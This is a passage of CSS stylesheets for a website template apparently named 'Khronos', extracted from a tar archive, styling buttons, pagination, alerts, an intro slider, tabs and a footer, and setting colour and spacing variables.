button.btn--stroke:focus,
.btn--stroke:hover,
button.btn--stroke:hover {
background : var(--color-btn-stroke-hover) !important;
border : 2px solid var(--color-btn-stroke-hover);
color : var(--color-btn-stroke-hover-text);
}
.btn--pill,
button.btn--pill {
padding-left : 3.2rem !important;
padding-right : 3.2rem !important;
border-radius : 1000px !important;
}
/* ===================================================================
* # TABLE
*
*
* ------------------------------------------------------------------- */
table {
border-width : 0;
width : 100%;
max-width : 100%;
font-family : var(--font-1);
border-collapse : collapse;
}
th,
td {
padding : var(--vspace-0_5) 3.2rem calc(var(--vspace-0_5) - 1px);
text-align : left;
border-bottom : 1px solid var(--color-border);
}
th {
padding : var(--vspace-0_5) 3.2rem;
color : var(--color-text-dark);
font-family : var(--font-1);
font-weight : 600;
}
th:first-child,
td:first-child {
padding-left : 0;
}
th:last-child,
td:last-child {
padding-right : 0;
}
.table-responsive {
overflow-x : auto;
-webkit-overflow-scrolling : touch;
}
/* ===================================================================
* # COMPONENTS
*
*
* ------------------------------------------------------------------- */
/* -------------------------------------------------------------------
* ## pagination
* ------------------------------------------------------------------- */
.pgn {
--pgn-num-height : calc(var(--vspace-1) + .4rem);
margin : var(--vspace-1) auto;
text-align : center;
}
.pgn ul {
display : inline-flex;
flex-flow : row wrap;
justify-content : center;
list-style : none;
margin-left : 0;
position : relative;
padding : 0 6rem;
}
.pgn ul li {
margin : 0;
padding : 0;
}
.pgn__num {
font-family : var(--font-1);
font-weight : 600;
font-size : var(--text-size);
line-height : var(--vspace-1);
display : block;
padding : .2rem 1.2rem;
height : var(--pgn-num-height);
margin : .2rem .2rem;
color : var(--color-text-dark);
border-radius : 4px;
transition : all, .3s, ease-in-out;
}
.pgn__num:focus,
.pgn__num:hover {
background : black;
color : white;
}
.pgn .current,
.pgn .current:focus,
.pgn .current:hover {
background-color : black;
color : white;
}
.pgn .inactive,
.pgn .inactive:focus,
.pgn .inactive:hover {
opacity : 0.4;
cursor : default;
}
.pgn__prev,
.pgn__next {
display : inline-flex;
flex-flow : row wrap;
justify-content : center;
align-items : center;
height : var(--pgn-num-height);
width : 4.8rem;
line-height : var(--vspace-1);
border-radius : 4px;
padding : 0;
margin : 0;
opacity : 1;
font : 0/0 a;
text-shadow : none;
color : transparent;
transition : all, .3s, ease-in-out;
position : absolute;
top : 50%;
transform : translate(0, -50%);
}
.pgn__prev:focus,
.pgn__prev:hover,
.pgn__next:focus,
.pgn__next:hover {
background-color : black;
}
.pgn__prev svg,
.pgn__next svg {
height : 2.4rem;
width : 2.4rem;
transition : all, .3s, ease-in-out;
}
.pgn__prev svg path,
.pgn__next svg path {
fill : var(--color-text-dark);
}
.pgn__prev:focus svg path,
.pgn__prev:hover svg path,
.pgn__next:focus svg path,
.pgn__next:hover svg path {
fill : white;
}
.pgn__prev {
left : 0;
}
.pgn__next {
right : 0;
}
.pgn__prev.inactive,
.pgn__next.inactive {
opacity : 0.4;
cursor : default;
}
.pgn__prev.inactive:focus,
.pgn__prev.inactive:hover,
.pgn__next.inactive:focus,
.pgn__next.inactive:hover {
background-color : transparent;
}
/* -------------------------------------------------------------------
* responsive:
* pagination
* ------------------------------------------------------------------- */
@media screen and (max-width: 600px) {
.pgn ul {
padding : 0 5.2rem;
}
}
/* -------------------------------------------------------------------
* ## alert box
* ------------------------------------------------------------------- */
.alert-box {
padding : var(--vspace-0_75) 4rem var(--vspace-0_75) 3.2rem;
margin-bottom : var(--vspace-1);
border-radius : var(--border-radius);
font-family : var(--font-1);
font-weight : 500;
font-size : var(--text-sm);
line-height : var(--vspace-0_75);
opacity : 1;
visibility : visible;
position : relative;
}
.alert-box__close {
position : absolute;
display : block;
right : 1.6rem;
top : 1.6rem;
cursor : pointer;
width : 12px;
height : 12px;
}
.alert-box__close::before,
.alert-box__close::after {
content : '';
display : inline-block;
width : 1px;
height : 12px;
position : absolute;
top : 0;
left : 5px;
}
.alert-box__close::before {
transform : rotate(45deg);
}
.alert-box__close::after {
transform : rotate(-45deg);
}
.alert-box--error {
background-color : var(--color-error);
color : var(--color-error-content);
}
.alert-box--error .alert-box__close::before,
.alert-box--error .alert-box__close::after {
background-color : var(--color-error-content);
}
.alert-box--success {
background-color : var(--color-success);
color : var(--color-success-content);
}
.alert-box--success .alert-box__close::before,
.alert-box--success .alert-box__close::after {
background-color : var(--color-success-content);
}
.alert-box--info {
background-color : var(--color-info);
color : var(--color-info-content);
}
.alert-box--info .alert-box__close::before,
.alert-box--info .alert-box__close::after {
background-color : var(--color-info-content);
}
.alert-box--notice {
background-color : var(--color-notice);
color : var(--color-notice-content);
}
.alert-box--notice .alert-box__close::before,
.alert-box--notice .alert-box__close::after {
background-color : var(--color-notice-content);
}
.alert-box.hideit {
opacity : 0;
visibility : hidden;
transition : all .5s;
}
/* -------------------------------------------------------------------
* ## skillbars
* ------------------------------------------------------------------- */
.skill-bars {
list-style : none;
margin : var(--vspace-2) 0 var(--vspace-1);
}
.skill-bars li {
height : .4rem;
background : var(--color-gray-2);
width : 100%;
margin-bottom : calc(var(--vspace-2) - .4rem);
padding : 0;
position : relative;
}
.skill-bars li strong {
position : absolute;
left : 0;
top : calc((var(--vspace-1) * 1.25) * -1);
font-family : var(--font-1);
font-weight : 600;
color : var(--color-text-dark);
text-transform : uppercase;
letter-spacing : .2em;
font-size : var(--text-xs);
line-height : var(--vspace-0_75);
}
.skill-bars li .progress {
background : var(--color-1);
position : relative;
height : 100%;
}
.skill-bars li .progress span {
display : block;
font-family : var(--font-1);
color : white;
font-size : 1rem;
line-height : 1;
background : var(--color-black);
padding : var(--vspace-0_25);
border-radius : 4px;
position : absolute;
right : 0;
top : calc((var(--vspace-1) + .8rem) * -1);
}
.skill-bars li .progress span::after {
position : absolute;
left : 50%;
bottom : -10px;
margin-left : -5px;
width : 0;
height : 0;
border : 5px solid transparent;
border-top-color : var(--color-black, var(--color-black));
content : "";
}
.skill-bars li .percent5 {
width : 5%;
}
.skill-bars li .percent10 {
width : 10%;
}
.skill-bars li .percent15 {
width : 15%;
}
.skill-bars li .percent20 {
width : 20%;
}
.skill-bars li .percent25 {
width : 25%;
}
.skill-bars li .percent30 {
width : 30%;
}
.skill-bars li .percent35 {
width : 35%;
}
.skill-bars li .percent40 {
width : 40%;
}
.skill-bars li .percent45 {
width : 45%;
}
.skill-bars li .percent50 {
width : 50%;
}
.skill-bars li .percent55 {
width : 55%;
}
.skill-bars li .percent60 {
width : 60%;
}
.skill-bars li .percent65 {
width : 65%;
}
.skill-bars li .percent70 {
width : 70%;
}
.skill-bars li .percent75 {
width : 75%;
}
.skill-bars li .percent80 {
width : 80%;
}
.skill-bars li .percent85 {
width : 85%;
}
.skill-bars li .percent90 {
width : 90%;
}
.skill-bars li .percent95 {
width : 95%;
}
.skill-bars li .percent100 {
width : 100%;
}
/* --------------------------------------------------------------------
* ## stats tabs
* -------------------------------------------------------------------- */
.stats-tabs {
padding : 0;
margin : var(--vspace-1) 0;
}
.stats-tabs li {
display : inline-block;
margin : 0 1.6rem var(--vspace-0_5) 0;
padding : 0 1.5rem 0 0;
border-right : 1px solid var(--color-border);
}
.stats-tabs li:last-child {
margin : 0;
padding : 0;
border : none;
}
.stats-tabs li a {
display : block;
font-family : var(--font-1);
font-size : var(--text-lg);
font-weight : 600;
line-height : var(--vspace-1_5);
border : none;
color : var(--color-text-dark);
}
.stats-tabs li a:hover {
color : var(--color-1);
}
.stats-tabs li a em {
display : block;
margin : 0;
font-family : var(--font-1);
font-size : var(--text-sm);
line-height : var(--vspace-0_5);
font-weight : 400;
font-style : normal;
color : var(--color-text-light);
}
/* ===================================================================
* # PROJECT-WIDE SHARED STYLES
*
*
* ------------------------------------------------------------------- */
.wide {
max-width : var(--width-wide);
}
.wider {
max-width : var(--width-wider);
}
.narrow {
max-width : var(--width-narrow);
}
.screen-reader-text {
clip : rect(1px, 1px, 1px, 1px);
clip-path : inset(50%);
height : 1px;
width : 1px;
margin : -1px;
overflow : hidden;
padding : 0;
border : 0;
position : absolute;
word-wrap : normal !important;
}
/* -------------------------------------------------------------------
* ## media classes
* ------------------------------------------------------------------- */
/* floated image
*/
img.u-pull-right {
margin : var(--vspace-0_5) 0 var(--vspace-0_5) var(--vspace-0_875);
}
img.u-pull-left {
margin : var(--vspace-0_5) var(--vspace-0_875) var(--vspace-0_5) 0;
}
/* responsive video container
*/
.video-container {
--aspect-ratio : 16/9;
position : relative;
height : 0;
overflow : hidden;
padding-bottom : calc(100%/(var(--aspect-ratio)));
}
.video-container iframe,
.video-container object,
.video-container embed,
.video-container video {
position : absolute;
top : 0;
left : 0;
width : 100%;
height : 100%;
}
/* ===================================================================
* # PAGE WRAP
*
*
* ------------------------------------------------------------------- */
.s-pagewrap {
--header-height : 12rem;
display : flex;
flex-direction : column;
min-height : 100%;
overflow : hidden;
position : relative;
}
/* -------------------------------------------------------------------
* responsive:
* pagewrap
* ------------------------------------------------------------------- */
@media screen and (max-width: 400px) {
.s-pagewrap {
--header-height : 10.6rem;
}
}
/* ===================================================================
* # HEADER
*
*
* ------------------------------------------------------------------- */
.s-header {
--logo-width : 9.6rem;
z-index : 100;
width : 100%;
position : absolute;
top : var(--vspace-1_25);
left : 0;
}
.s-header__content {
max-width : var(--width-wider);
height : var(--header-height);
position : relative;
}
/* --------------------------------------------------------------------
* ## logo
* -------------------------------------------------------------------- */
.s-header__logo {
z-index : 101;
transform : translate(0, -20%);
position : absolute;
top : 50%;
left : var(--gutter);
}
.s-header__logo a {
display : block;
margin : 0;
padding : 0;
outline : 0;
border : none;
}
.s-header__logo img {
width : var(--logo-width);
margin : 0;
vertical-align : bottom;
}
/* --------------------------------------------------------------------
* ## header social
* -------------------------------------------------------------------- */
.s-header__social {
list-style : none;
display : flex;
margin : 0;
transform : translate(0, -50%);
position : absolute;
top : calc(50% - var(--vspace-0_75));
right : calc(var(--gutter) / 2);
}
.s-header__social li {
padding-left : 0;
margin-right : 1.4rem;
line-height : 1;
}
.s-header__social li:last-child {
margin-right : 0;
}
.s-header__social svg {
height : var(--vspace-0_875);
width : var(--vspace-0_875);
}
.s-header__social svg path {
fill : white;
}
/* -------------------------------------------------------------------
* responsive:
* header
* ------------------------------------------------------------------- */
@media screen and (max-width: 800px) {
.s-header {
--logo-width : 8rem;
top : var(--vspace-0_5);
}
.s-header__social {
top : calc(50% - var(--vspace-0_25));
}
.s-header__social li {
margin-right : 1rem;
}
.s-header__social svg {
height : var(--vspace-0_75);
width : var(--vspace-0_75);
}
}
@media screen and (max-width: 600px) {
.s-header {
--logo-width : 7.2rem;
}
.s-header__logo {
left : calc(6vw + var(--gutter));
}
.s-header__social {
right : calc(6vw + .8rem);
}
}
@media screen and (max-width: 500px) {
.s-header {
top : 0;
}
}
@media screen and (max-width: 400px) {
.s-header {
--logo-width : 6rem;
}
.s-header__logo {
left : calc(6vw + .4rem);
}
.s-header__social {
right : calc(6vw + .4rem);
}
.s-header__social li {
margin-right : 0.8rem;
}
}
/* ===================================================================
* # INTRO
*
*
* ------------------------------------------------------------------- */
.s-intro {
background-color : var(--color-body);
width : 100%;
height : 100vh;
min-height : calc(25.5 * var(--space));
overflow : hidden;
position : relative;
}
.s-intro a {
border : none;
}
.theme-particles .s-intro {
background-color : var(--color-gray-15);
}
.theme-particles .s-intro .s-intro__content {
pointer-events : none;
}
.theme-particles .s-intro .s-intro__content-bottom,
.theme-particles .s-intro .s-intro__scroll {
pointer-events : auto;
}
/* --------------------------------------------------------------------
* ## intro background
* -------------------------------------------------------------------- */
.s-intro__bg {
display : block;
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
background-image : url(../images/bg-static.jpg);
background-repeat : no-repeat;
background-position : center;
background-size : cover;
}
.s-intro__bg::before {
display : block;
content : "";
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
background : black;
pointer-events : none;
opacity : .2;
}
.s-intro__bg::after {
display : block;
content : "";
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
background : linear-gradient(90deg, black 10%, rgba(0, 0, 0, 0) 100%);
pointer-events : none;
opacity : .8;
}
/* --------------------------------------------------------------------
* ## intro slider
* -------------------------------------------------------------------- */
.s-intro__slider {
display : block;
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
}
.s-intro__slide {
background-repeat : no-repeat;
background-position : 50% 50%;
background-size : cover;
position : relative;
}
.s-intro__slide::before {
display : block;
content : "";
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
background : black;
pointer-events : none;
opacity : .2;
}
.s-intro__slide::after {
display : block;
content : "";
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
background : linear-gradient(90deg, black 10%, rgba(0, 0, 0, 0) 100%);
pointer-events : none;
opacity : .5;
}
.s-intro__slide.bg-opacity-10::before {
opacity : .1;
}
.s-intro__slide.bg-opacity-20::before {
opacity : .2;
}
.s-intro__slide.bg-opacity-30::before {
opacity : .3;
}
.s-intro__slide.bg-opacity-40::before {
opacity : .4;
}
.s-intro__slide.bg-opacity-50::before {
opacity : .5;
}
.s-intro__slide.bg-opacity-60::before {
opacity : .6;
}
.s-intro__slide.bg-opacity-70::before {
opacity : .7;
}
.s-intro__slide.bg-opacity-80::before {
opacity : .8;
}
.s-intro__slide.bg-opacity-90::before {
opacity : .9;
}
/* -------------------------------------------------------------------
* ## intro particles
* ------------------------------------------------------------------- */
.s-intro__particles {
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
background-color : transparent;
padding : 0;
margin : 0;
opacity : .20;
}
.s-intro__particles canvas {
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
}
/* --------------------------------------------------------------------
* ## intro content
* -------------------------------------------------------------------- */
.s-intro__content {
z-index : 1;
max-width : var(--width-wider);
align-items : flex-end;
height : 100vh;
min-height : calc(25.5 * var(--space));
padding-top : 20vh;
padding-bottom : 8.8rem;
position : relative;
}
.s-intro__content-bottom {
max-width : 600px;
font-weight : 300;
color : rgba(255, 255, 255, 0.5);
margin-top : var(--vspace-1);
}
.s-intro__content-title {
font-size : var(--text-xxl);
font-weight : 400;
line-height : var(--vspace-1_5);
color : white;
margin-top : 0;
margin-bottom : var(--vspace-0_25);
}
/* --------------------------------------------------------------------
* ## intro counter
* -------------------------------------------------------------------- */
.s-intro .counter {
display : flex;
flex-flow : row wrap;
}
.s-intro .counter__time {
display : flex;
align-items : flex-start;
font-weight : 700;
font-size : 13.2rem;
line-height : 1;
color : white;
margin-right : var(--vspace-0_5);
margin-bottom : var(--vspace-0_5);
}
.s-intro .counter__time span:first-child {
letter-spacing : -.03em;
}
.s-intro .counter__time span:last-child {
font-weight : 400;
font-size : .15em;
color : rgba(255, 255, 255, 0.35);
transform : translate(0.2em, 0.8em);
}
/* --------------------------------------------------------------------
* ## scroll icon
* -------------------------------------------------------------------- */
.s-intro__scroll {
width : 18rem;
height : 8.8rem;
padding-right : 3rem;
border-right : 1px dashed rgba(255, 255, 255, 0.3);
text-align : right;
position : absolute;
bottom : 0;
right : var(--gutter);
}
.s-intro__scroll .scroll-text {
font-family : var(--font-1);
font-weight : 300;
font-size : var(--text-sm);
color : white;
margin-top : var(--vspace-0_625);
}
.s-intro__scroll .end-top {
background-color : white;
width : 6px;
height : 6px;
border-radius : 50%;
position : absolute;
top : -6px;
right : -4px;
}
.s-intro__scroll .mouse {
z-index : 2;
height : 3.8rem;
width : 2.5rem;
border : 3px solid white;
border-radius : 12px;
display : block;
text-align : center;
position : absolute;
right : -1.3rem;
top : 1.4rem;
-webkit-animation : vertical 3s ease infinite;
animation : vertical 3s ease infinite;
}
.s-intro__scroll .mouse::before {
content : "";
display : block;
height : 5px;
width : 3px;
background-color : white;
border-radius : 2px;
margin-left : -1.5px;
position : absolute;
top : 6px;
left : 50%;
}
/* fade in
*/
@-webkit-keyframes vertical {
0%,
60%,
80%,
100% {
-webkit-transform : translateY(0);
transform : translateY(0);
}
20% {
-webkit-transform : translateY(-5px);
transform : translateY(-5px);
}
40% {
-webkit-transform : translateY(20px);
transform : translateY(20px);
}
}
@keyframes vertical {
0%,
60%,
80%,
100% {
-webkit-transform : translateY(0);
transform : translateY(0);
}
20% {
-webkit-transform : translateY(-5px);
transform : translateY(-5px);
}
40% {
-webkit-transform : translateY(20px);
transform : translateY(20px);
}
}
/* --------------------------------------------------------------------
* ## intro transitions
* -------------------------------------------------------------------- */
.s-header__content,
.s-intro .counter,
.s-intro__content-bottom,
.s-intro__scroll {
transition-timing-function : cubic-bezier(0.28, 0.12, 0.22, 1);
transition-duration : .6s;
transition-delay : 0s;
opacity : 0;
}
.s-header__content {
transition-property : opacity, transform;
transform : translate(0, -100%);
}
.s-intro .counter,
.s-intro__content-bottom {
transition-property : opacity, transform;
transform : translate(0, 100%);
}
.s-intro__scroll {
transition-property : opacity, bottom;
bottom : -250px;
}
.no-js .s-header__content,
.no-js .s-intro .counter,
.no-js .s-intro__content-bottom,
.no-js .s-intro__scroll,
.ss-show .s-header__content,
.ss-show .s-intro .counter,
.ss-show .s-intro__content-bottom,
.ss-show .s-intro__scroll {
opacity : 1;
}
.no-js .s-header__content,
.no-js .s-intro .counter,
.no-js .s-intro__content-bottom,
.ss-show .s-header__content,
.ss-show .s-intro .counter,
.ss-show .s-intro__content-bottom {
transform : translate(0, 0);
}
.no-js .s-intro .counter,
.ss-show .s-intro .counter {
transition-delay : .3s;
}
.no-js .s-intro__content-bottom,
.ss-show .s-intro__content-bottom {
transition-delay : .6s;
}
.no-js .s-intro__scroll,
.ss-show .s-intro__scroll {
transition-delay : .9s;
bottom : 0;
}
/* -------------------------------------------------------------------
* responsive:
* intro
* ------------------------------------------------------------------- */
@media screen and (max-width: 1400px) {
.s-intro .counter__time {
font-size : 12.4rem;
}
}
@media screen and (max-width: 1200px) {
.s-intro .counter__time {
font-size : 11.2rem;
}
.s-intro__content-title {
font-size : var(--text-xl);
line-height : var(--vspace-1_25);
}
}
@media screen and (max-width: 800px) {
.s-intro .counter__time {
font-size : 10.4rem;
}
}
@media screen and (max-width: 600px) {
.s-intro__content {
padding-bottom : 8rem;
}
.s-intro .counter__time {
font-size : 9.6rem;
}
.s-intro__content-bottom {
max-width : 400px;
}
.s-intro__content-bottom br {
display : none;
}
.s-intro__content-title {
font-size : var(--text-lg);
line-height : var(--vspace-1);
}
.s-intro__scroll {
right : 4.8rem;
}
}
@media screen and (max-width: 500px) {
.s-intro .counter__time {
font-size : 7.2rem;
}
}
@media screen and (max-width: 400px) {
.s-intro .counter__time {
font-size : 6.6rem;
}
.s-intro__content-title {
font-size : var(--text-md);
line-height : var(--vspace-0_875);
}
.s-intro__scroll {
right : 4rem;
}
}
/* ===================================================================
* # INFO
*
*
* ------------------------------------------------------------------- */
.s-info {
padding-top : var(--vspace-5);
padding-bottom : var(--vspace-4);
width : 100%;
position : relative;
}
.s-info .row {
max-width : 1020px;
}
.s-info h2 {
margin-top : 0;
margin-bottom : var(--vspace-1_25);
}
/* --------------------------------------------------------------------
* ## info bg
* -------------------------------------------------------------------- */
.s-info__bg {
display : block;
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
background-image : url(../images/info-bg-k.jpg);
background-repeat : no-repeat;
background-position : center;
background-size : cover;
opacity : 0.4;
}
/* --------------------------------------------------------------------
* ## tabs
* -------------------------------------------------------------------- */
.tab-nav {
--easing : cubic-bezier(0.28, 0.12, 0.22, 1);
font-family : var(--font-1);
font-weight : 400;
font-size : var(--text-xs);
text-transform : uppercase;
letter-spacing : .4em;
text-align : center;
margin-bottom : var(--vspace-2);
}
.tab-nav__list {
list-style : none;
display : flex;
border-bottom : 1px solid var(--color-text);
overflow : hidden;
margin : 0;
}
.tab-nav__list li {
flex : 1;
padding-left : 0;
background-color : rgba(255, 255, 255, 0.3);
border-width : 1px;
border-style : solid solid none solid;
border-color : var(--color-text);
border-radius : 5px 5px 0 0;
transition : all 0.6s var(--easing);
margin : 0 .2rem;
overflow : hidden;
position : relative;
}
.tab-nav__list li[data-tab-active] {
background-color : var(--color-text);
border-color : var(--color-text);
}
.tab-nav__list a {
display : block;
padding : 1.4rem 2.8rem;
color : var(--color-text);
transition : color 0.6s var(--easing);
}
.tab-nav__list a[data-tab-active] {
color : white;
outline : 0;
}
.tab-content {
position : relative;
}
.tab-content__item {
opacity : 0;
visibility : hidden;
height : 0;
overflow : hidden;
position : absolute;
top : 4rem;
}
.tab-content__item[data-tab-active] {
opacity : 1;
visibility : visible;
height : auto;
transition-property : opacity, visibility, top;
transition-duration : .6s;
transition-timing-function : var(--easing);
transition-delay : 0s;
position : relative;
top : 0;
}
/* -------------------------------------------------------------------
* ## services
* ------------------------------------------------------------------- */
.services-list {
margin-top : var(--vspace-1_5);
}
.services-list h4 {
margin-top : 0;
}
.services-list__item {
margin-bottom : var(--vspace-0_5);
}
.services-list__item-icon svg {
height : var(--vspace-1_25);
width : var(--vspace-1_25);
}
.services-list__item-icon svg path {
fill : var(--color-1);
}
/* -------------------------------------------------------------------
* ## MailChimp form
* ------------------------------------------------------------------- */
.mc-form input[type="email"] {
background-color : white;
margin-bottom : var(--vspace-0_5);
border : 1px solid var(--color-gray-3);
}
.mc-form input[type="email"]:focus {
box-shadow : 0 0 5px var(--color-1);
border : 1px solid var(--color-1);
}
.mc-form .mc-status {
font-size : var(--text-sm);
font-weight : 500;
line-height : var(--vspace-0_75);
}
/* -------------------------------------------------------------------
* responsive:
* info
* ------------------------------------------------------------------- */
@media screen and (max-width: 700px) {
.s-info {
padding-top : var(--vspace-3);
}
.tab-nav {
font-weight : 500;
}
.tab-nav__list {
display : block;
border : 1px solid var(--color-text);
border-radius : var(--border-radius);
}
.tab-nav__list li {
margin : 0;
border-radius : 0;
border-style : none none solid none;
}
.tab-nav__list li:last-child {
border-bottom : none;
}
.tab-nav__list a {
padding : var(--vspace-0_375) 2.8rem;
}
}
@media screen and (max-width: 400px) {
.s-info h2 {
font-size : var(--text-xl);
line-height : var(--vspace-1_25);
}
}
/* ===================================================================
* # FOOTER
*
*
* ------------------------------------------------------------------- */
.s-footer {
background-color : var(--color-gray-12);
padding-top : var(--vspace-3);
padding-bottom : var(--vspace-2);
font-weight : 300;
font-size : calc(var(--text-size) * 0.9444);
line-height : calc(0.9375 * var(--space));
color : rgba(255, 255, 255, 0.3);
}
.s-footer>.row {
max-width : 1020px;
}
.s-footer a {
color : rgba(255, 255, 255, 0.3);
}
.s-footer a:focus,
.s-footer a:hover {
color : white;
}
.s-footer .desc {
padding-right : var(--vspace-0_375);
}
.s-footer h4 {
margin-top : 0;
margin-bottom : var(--vspace-1_25);
color : white;
}
.s-footer p,
.s-footer ul {
margin-bottom : calc(0.9375 * var(--space));
}
.s-footer strong {
font-weight : 400;
color : white;
}
.s-footer__bottom {
margin-top : var(--vspace-1);
padding-top : var(--vspace-0_5);
border-top : 1px solid rgba(255, 255, 255, 0.05);
position : relative;
}
.s-footer__bottom a {
color : white;
}
/* --------------------------------------------------------------------
* ## footer social
* -------------------------------------------------------------------- */
.s-footer__social {
list-style : none;
display : flex;
margin : 0;
}
.s-footer__social li {
padding-left : 0;
margin-right : 1.2rem;
line-height : 1;
}
.s-footer__social li:last-child {
margin-right : 0;
}
.s-footer__social svg {
height : var(--vspace-0_75);
width : var(--vspace-0_75);
}
.s-footer__social svg path {
fill : white;
}
/* -------------------------------------------------------------------
* ## go top
* ------------------------------------------------------------------- */
.ss-go-top {
z-index : 2;
position : absolute;
top : -2.8rem;
right : 0;
}
.ss-go-top svg {
height : 2rem;
width : 2rem;
}
.ss-go-top svg path {
fill : white;
transition : all .3s ease-in-out;
}
.ss-go-top a {
display : flex;
align-items : center;
justify-content : center;
text-decoration : none;
border : 0 none;
height : 5.6rem;
width : 5.6rem;
background-color : var(--color-gray-12);
border-radius : 50%;
border : .2rem solid white;
transition : all .3s;
position : relative;
}
.ss-go-top a:focus,
.ss-go-top a:hover {
background-color : var(--color-1-dark);
border-color : var(--color-1-dark);
}
/* --------------------------------------------------------------------
* ## copyright
* -------------------------------------------------------------------- */
.ss-copyright {
font-size : var(--text-xs);
line-height : var(--vspace-0_75);
position : relative;
}
.ss-copyright span {
display : inline-block;
}
.ss-copyright span::after {
content : "|";
display : inline-block;
padding : 0 .8rem 0 1rem;
color : rgba(255, 255, 255, 0.2);
}
.ss-copyright span:last-child::after {
display : none;
}
/* -------------------------------------------------------------------
* responsive:
* footer
* ------------------------------------------------------------------- */
@media screen and (max-width: 800px) {
.s-footer .desc {
padding-right : 0;
}
}
@media screen and (max-width: 700px) {
.s-footer h4 {
margin-bottom : var(--vspace-0_5);
}
.s-footer__info {
margin-bottom : var(--vspace-1_25);
}
}
@media screen and (max-width: 600px) {
.s-footer {
padding-bottom : var(--vspace-1);
}
.ss-go-top {
right : 2.8rem;
}
.ss-copyright span {
display : block;
}
.ss-copyright span::after {
display : none;
}
}
@media screen and (max-width: 400px) {
.ss-go-top {
top : -2.4rem;
right : 2rem;
}
.ss-go-top svg {
height : 1.8rem;
width : 1.8rem;
}
.ss-go-top a {
height : 4.8rem;
width : 4.8rem;
}
} demo.css 0000604 00000074706 15074622634 0006225 0 ustar 00 /* ===================================================================
* Khronos Demo Stylesheet
* Template Ver. 2.0.0
* 07-03-2021
*
* ------------------------------------------------------------------- */
/* ===================================================================
* # SETTINGS
*
*
* ------------------------------------------------------------------- */
/* -------------------------------------------------------------------
* ## fonts
* ------------------------------------------------------------------- */
@import url("https ://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap");
:root {
--font-1 : "Inter", sans-serif;
/* monospace
*/
--font-mono : Consolas, "Andale Mono", Courier, "Courier New", monospace;
}
/* -------------------------------------------------------------------
* ## colors
* ------------------------------------------------------------------- */
:root {
/* color-1(#034E4A)
* color-2(#A33B20)
*/
--color-1 : hsla(177, 93%, 16%, 1);
--color-2 : hsla(12, 67%, 38%, 1);
/* theme color variations
*/
--color-1-lighter : hsla(177, 93%, 36%, 1);
--color-1-light : hsla(177, 93%, 26%, 1);
--color-1-dark : hsla(177, 93%, 10%, 1);
--color-1-darker : hsla(177, 93%, 5%, 1);
--color-2-lighter : hsla(12, 67%, 58%, 1);
--color-2-light : hsla(12, 67%, 48%, 1);
--color-2-dark : hsla(12, 67%, 28%, 1);
--color-2-darker : hsla(12, 67%, 18%, 1);
/* feedback colors
* color-error(#ffd1d2), color-success(#c8e675),
* color-info(#d7ecfb), color-notice(#fff099)
*/
--color-error : hsla(359, 100%, 91%, 1);
--color-success : hsla(76, 69%, 68%, 1);
--color-info : hsla(205, 82%, 91%, 1);
--color-notice : hsla(51, 100%, 80%, 1);
--color-error-content : hsla(359, 50%, 50%, 1);
--color-success-content : hsla(76, 29%, 28%, 1);
--color-info-content : hsla(205, 32%, 31%, 1);
--color-notice-content : hsla(51, 30%, 30%, 1);
/* shades
* generated using
* Tint & Shade Generator
* (https://maketintsandshades.com/)
*/
--color-black : #000000;
--color-gray-19 : #020202;
--color-gray-18 : #040404;
--color-gray-17 : #060607;
--color-gray-16 : #080809;
--color-gray-15 : #0a0b0b;
--color-gray-14 : #0c0d0d;
--color-gray-13 : #0e0f0f;
--color-gray-12 : #101112;
--color-gray-11 : #121314;
--color-gray-10 : #141516;
--color-gray-9 : #2c2c2d;
--color-gray-8 : #434445;
--color-gray-7 : #5b5b5c;
--color-gray-6 : #727373;
--color-gray-5 : #8a8a8b;
--color-gray-4 : #a1a1a2;
--color-gray-3 : #b9b9b9;
--color-gray-2 : #d0d0d0;
--color-gray-1 : #e8e8e8;
--color-white : #ffffff;
/* text
*/
--color-text : var(--color-gray-12);
--color-text-dark : var(--color-black);
--color-text-light : var(--color-gray-8);
--color-placeholder : var(--color-gray-7);
/* buttons
*/
--color-btn : var(--color-gray-1);
--color-btn-text : var(--color-black);
--color-btn-hover : var(--color-gray-2);
--color-btn-hover-text : var(--color-black);
--color-btn-primary : var(--color-1);
--color-btn-primary-text : var(--color-white);
--color-btn-primary-hover : var(--color-black);
--color-btn-primary-hover-text : var(--color-white);
--color-btn-stroke : var(--color-black);
--color-btn-stroke-text : var(--color-black);
--color-btn-stroke-hover : var(--color-black);
--color-btn-stroke-hover-text : var(--color-white);
/* preloader
*/
--color-preloader-bg : var(--color-gray-12);
--color-loader : white;
--color-loader-light : rgba(255, 255, 255, 0.1);
/* others
*/
--color-body : var(--color-white);
--color-border : rgba(0, 0, 0, .08);
--border-radius : 3px;
}
/* -------------------------------------------------------------------
* ## spacing and typescale
* ------------------------------------------------------------------- */
:root {
/* spacing
* base font size: 18px
* vertical space unit : 32px
*/
--base-size : 62.5%;
--multiplier : 1;
--base-font-size : calc(1.8rem * var(--multiplier));
--space : calc(3.2rem * var(--multiplier));
/* vertical spacing
*/
--vspace-0_125 : calc(0.125 * var(--space));
--vspace-0_25 : calc(0.25 * var(--space));
--vspace-0_375 : calc(0.375 * var(--space));
--vspace-0_5 : calc(0.5 * var(--space));
--vspace-0_625 : calc(0.625 * var(--space));
--vspace-0_75 : calc(0.75 * var(--space));
--vspace-0_875 : calc(0.875 * var(--space));
--vspace-1 : calc(var(--space));
--vspace-1_25 : calc(1.25 * var(--space));
--vspace-1_5 : calc(1.5 * var(--space));
--vspace-1_75 : calc(1.75 * var(--space));
--vspace-2 : calc(2 * var(--space));
--vspace-2_5 : calc(2.5 * var(--space));
--vspace-3 : calc(3 * var(--space));
--vspace-3_5 : calc(3.5 * var(--space));
--vspace-4 : calc(4 * var(--space));
--vspace-4_5 : calc(4.5 * var(--space));
--vspace-5 : calc(5 * var(--space));
/* type scale
